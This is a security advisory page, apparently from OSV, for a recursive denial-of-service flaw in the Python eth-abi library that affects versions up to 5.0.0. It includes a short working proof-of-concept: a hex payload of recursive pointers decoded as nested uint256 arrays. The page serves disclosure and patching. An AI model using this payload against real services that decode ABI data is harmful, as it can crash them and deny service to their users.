GHSA-3qwc-47jf-5rf7

Suggest an improvement
Source
https://github.com/advisories/GHSA-3qwc-47jf-5rf7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-3qwc-47jf-5rf7/GHSA-3qwc-47jf-5rf7.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-3qwc-47jf-5rf7
Published
2024-03-05T14:39:13Z
Modified
2024-12-03T05:48:52.734875Z
Summary
eth-abi is vulnerable to recursive DoS
Details

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
Database specific 
{
    "nvd_published_at": null,
    "severity": "MODERATE",
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-05T14:39:13Z"
}
References

Affected packages

PyPI / eth-abi

Package

Name
eth-abi
View open source insights on deps.dev
Purl
pkg:pypi/eth-abi

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.0.1

Affected versions

0.*
0.5.0
1.*
1.0.0b0
1.0.0b1
1.0.0
1.1.0
1.1.1
1.2.0
1.2.1
1.2.2
1.3.0
2.*
2.0.0a1
2.0.0b0
2.0.0b1
2.0.0b2
2.0.0b3
2.0.0b4
2.0.0b5
2.0.0b6
2.0.0b7
2.0.0b8
2.0.0b9
2.0.0
2.1.0
2.1.1
2.2.0
3.*
3.0.0
3.0.1
4.*
4.0.0b1
4.0.0b2
4.0.0b3
4.0.0
4.1.0
4.2.0
4.2.1
5.*
5.0.0

Database specific

last_known_affected_version_range 
"<= 5.0.0"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-3qwc-47jf-5rf7/GHSA-3qwc-47jf-5rf7.json"